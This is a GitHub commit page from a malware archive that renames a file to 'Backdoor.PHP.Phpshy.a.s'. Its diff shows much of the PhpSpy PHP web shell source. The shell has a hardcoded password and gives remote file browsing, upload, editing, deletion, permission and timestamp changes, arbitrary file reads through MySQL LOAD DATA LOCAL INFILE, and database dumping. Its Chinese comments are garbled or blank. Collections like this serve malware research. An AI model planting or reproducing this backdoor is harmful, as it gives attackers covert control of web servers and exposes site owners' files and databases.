Rename Trojan-Spy.PHP.PhPen.f to Backdoor.PHP.Phpshy.a.s

This commit is contained in:
vxunderground 2020-11-02 23:45:49 -06:00 committed by GitHub
parent 20884073a5
commit 2e53d3891f
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23

View File

@ -2,17 +2,17 @@
/*****************************************************************************
===================== ====================
===================== ====================
使
使
Sniper\Super·Hei\kEvin1986\saiy\wofeiwo
Sniper\Super·Hei\kEvin1986\saiy\wofeiwo
17
17
====================== 使 =======================
====================== 使 =======================
Codz by angel(4ngel)
@ -47,23 +47,23 @@ foreach(array('_GET','_POST') as $_request) {
}
}
/*===================== 程序配置 =====================*/
/*===================== 程序配置 =====================*/
$admin = array();
// , true , false .
// , true , false .
$admin['check'] = true;
// ,
// ,
$admin['pass'] = 'kolya';
// cookie , , ,
// cookie
// cookie , , ,
// cookie
$admin['cookiepre'] = '';
// cookie
// cookie
$admin['cookiedomain'] = '';
// cookie
// cookie
$admin['cookiepath'] = '/';
// cookie
// cookie
$admin['cookielife'] = 86400;
/*===================== 配置结束 =====================*/
/*===================== 配置结束 =====================*/
if ($charset == 'utf8') {
header("content-Type: text/html; charset=utf-8");
@ -78,7 +78,7 @@ if ($charset == 'utf8') {
$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];
$timestamp = time();
/*===================== 身份验证 =====================*/
/*===================== 身份验证 =====================*/
if ($action == "logout") {
scookie('phpspypass', '', -86400 * 365);
p('<meta http-equiv="refresh" content="1;URL='.$self.'">');
@ -102,11 +102,11 @@ if($admin['check']) {
loginpage();
}
}
/*===================== 验证结束 =====================*/
/*===================== 验证结束 =====================*/
$errmsg = '';
// PHPINFO
// PHPINFO
if ($action == 'phpinfo') {
if (IS_PHPINFO) {
phpinfo();
@ -115,7 +115,7 @@ if ($action == 'phpinfo') {
}
}
//
//
if ($doing == 'downfile' && $thefile) {
if (!@file_exists($thefile)) {
$errmsg = 'The file you want Downloadable was nonexistent';
@ -129,7 +129,7 @@ if ($doing == 'downfile' && $thefile) {
}
}
//
//
if ($doing == 'backupmysql' && !$saveasfile) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
$table = array_flip($table);
@ -148,7 +148,7 @@ if ($doing == 'backupmysql' && !$saveasfile) {
exit;
}
// MYSQL
// MYSQL
if($doing=='mysqldown'){
if (!$dbname) {
$errmsg = 'Please input dbname';
@ -161,7 +161,7 @@ if($doing=='mysqldown'){
if(!$result){
q("DROP TABLE IF EXISTS tmp_angel;");
q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");
//,__angel_1111111111_eof__
//,__angel_1111111111_eof__
q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");
$result = q("select content from tmp_angel");
q("DROP TABLE tmp_angel");
@ -247,7 +247,7 @@ formfoot();
$errmsg && m($errmsg);
//
//
!$dir && $dir = '.';
$nowpath = getPath(SA_ROOT, $dir);
if (substr($dir, -1) != '/') {
@ -257,10 +257,10 @@ $uedir = ue($dir);
if (!$action || $action == 'file') {
//
//
$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';
//
//
if ($doing == 'deldir' && $thefile) {
if (!file_exists($thefile)) {
m($thefile.' directory does not exist');
@ -269,7 +269,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif ($newdirname) {
$mkdirs = $nowpath.$newdirname;
if (file_exists($mkdirs)) {
@ -280,19 +280,19 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif ($doupfile) {
m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));
}
//
//
elseif ($editfilename && $filecontent) {
$fp = @fopen($editfilename,'w');
m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));
@fclose($fp);
}
//
//
elseif ($pfile && $newperm) {
if (!file_exists($pfile)) {
m('The original file does not exist');
@ -302,7 +302,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif ($oldname && $newfilename) {
$nname = $nowpath.$newfilename;
if (file_exists($nname) || !file_exists($oldname)) {
@ -312,7 +312,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif ($sname && $tofile) {
if (file_exists($tofile) || !file_exists($sname)) {
m('The goal file has already existed or original file does not exist');
@ -321,7 +321,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif ($curfile && $tarfile) {
if (!@file_exists($curfile) || !@file_exists($tarfile)) {
m('The goal file has already existed or original file does not exist');
@ -331,7 +331,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {
if (!@file_exists($curfile)) {
m(basename($curfile).' does not exist');
@ -341,7 +341,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif($doing == 'downrar') {
if ($dl) {
$dfiles='';
@ -363,7 +363,7 @@ if (!$action || $action == 'file') {
}
}
//
//
elseif($doing == 'delfiles') {
if ($dl) {
$dfiles='';
@ -375,13 +375,13 @@ if (!$action || $action == 'file') {
$fail++;
}
}
m('Deleted file have finishedchoose '.count($dl).' success '.$succ.' fail '.$fail);
m('Deleted file have finishedchoose '.count($dl).' success '.$succ.' fail '.$fail);
} else {
m('Please select file(s)');
}
}
//
//
formhead(array('name'=>'createdir'));
makehide('newdirname');
makehide('dir',$nowpath);
@ -516,14 +516,14 @@ function godir(dir,view_writable){
p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');
//
//
$dirdata=array();
$filedata=array();
if ($view_writable) {
$dirdata = GetList($nowpath);
} else {
//
//
$dirs=@opendir($dir);
while ($file=@readdir($dirs)) {
$filepath=$nowpath.$file;
@ -826,7 +826,7 @@ function settable(tablename,doing,page) {
}
</script>
<?php
//
//
formhead(array('name'=>'recordlist'));
makehide('doing');
makehide('action','sqladmin');
@ -835,7 +835,7 @@ function settable(tablename,doing,page) {
p($dbform);
formfoot();
//
//
formhead(array('name'=>'setdbname'));
makehide('action','sqladmin');
p($dbform);
@ -844,7 +844,7 @@ function settable(tablename,doing,page) {
}
formfoot();
//
//
formhead(array('name'=>'settable'));
makehide('action','sqladmin');
p($dbform);
@ -864,12 +864,12 @@ function settable(tablename,doing,page) {
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
//
//
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
//
//
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
@ -1347,7 +1347,7 @@ else {
<?php
/*======================================================
======================================================*/
function m($msg) {
@ -1397,7 +1397,7 @@ function multi($num, $perpage, $curpage, $tablename) {
}
return $multipage;
}
//
//
function loginpage() {
?>
<style type="text/css">
@ -1452,7 +1452,7 @@ function cf($fname,$text){
}
}
//
//
function debuginfo() {
global $starttime;
$mtime = explode(' ', microtime());
@ -1460,7 +1460,7 @@ function debuginfo() {
echo 'Processed in '.$totaltime.' second(s)';
}
//
//
function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
if(!$link = @mysql_connect($dbhost.':'.$dbport, $dbuser, $dbpass)) {
p('<h2>Can not connect to MySQL server</h2>');
@ -1480,7 +1480,7 @@ function dbconn($dbhost,$dbuser,$dbpass,$dbname='',$charset='',$dbport='3306') {
return $link;
}
//
//
function s_array(&$array) {
if (is_array($array)) {
foreach ($array as $k => $v) {
@ -1492,7 +1492,7 @@ function s_array(&$array) {
return $array;
}
// HTML
// HTML
function html_clean($content) {
$content = htmlspecialchars($content);
$content = str_replace("\n", "<br />", $content);
@ -1501,7 +1501,7 @@ function html_clean($content) {
return $content;
}
//
//
function getChmod($filepath){
return substr(base_convert(@fileperms($filepath),10,8),-4);
}
@ -1544,7 +1544,7 @@ function getUser($filepath) {
return '';
}
//
//
function deltree($deldir) {
$mydir=@dir($deldir);
while($file=$mydir->read()) {
@ -1562,13 +1562,13 @@ function deltree($deldir) {
return @rmdir($deldir) ? 1 : 0;
}
//
//
function bg() {
global $bgc;
return ($bgc++%2==0) ? 'alt1' : 'alt2';
}
//
//
function getPath($scriptpath, $nowpath) {
if ($nowpath == '.') {
$nowpath = $scriptpath;
@ -1581,7 +1581,7 @@ function getPath($scriptpath, $nowpath) {
return $nowpath;
}
//
//
function getUpPath($nowpath) {
$pathdb = explode('/', $nowpath);
$num = count($pathdb);
@ -1593,7 +1593,7 @@ function getUpPath($nowpath) {
return $uppath;
}
// PHP
// PHP
function getcfg($varname) {
$result = get_cfg_var($varname);
if ($result == 0) {
@ -1605,7 +1605,7 @@ function getcfg($varname) {
}
}
//
//
function getfun($funName) {
return (false !== function_exists($funName)) ? 'Yes' : 'No';
}
@ -1672,7 +1672,7 @@ function sizecount($size) {
return $size;
}
//
//
class PHPZip{
var $out='';
function PHPZip($dir) {
@ -1680,7 +1680,7 @@ class PHPZip{
$curdir = getcwd();
if (is_array($dir)) $filelist = $dir;
else{
$filelist=$this -> GetFileList($dir);//文件列表
$filelist=$this -> GetFileList($dir);//文件列表
foreach($filelist as $k=>$v) $filelist[]=substr($v,strlen($dir)+1);
}
if ((!empty($dir))&&(!is_array($dir))&&(file_exists($dir))) chdir($dir);
@ -1703,7 +1703,7 @@ class PHPZip{
else return 0;
}
//
//
function GetFileList($dir){
static $a;
if (is_dir($dir)) {
@ -1803,7 +1803,7 @@ class PHPZip{
}
}
//
//
function sqldumptable($table, $fp=0) {
$tabledump = "DROP TABLE IF EXISTS $table;\n";
$tabledump .= "CREATE TABLE $table (\n";
@ -1980,11 +1980,11 @@ function formfoot(){
p('</form>');
}
//
//
function pr($a) {
echo '<pre>';
print_r($a);
echo '</pre>';
}
?>
?>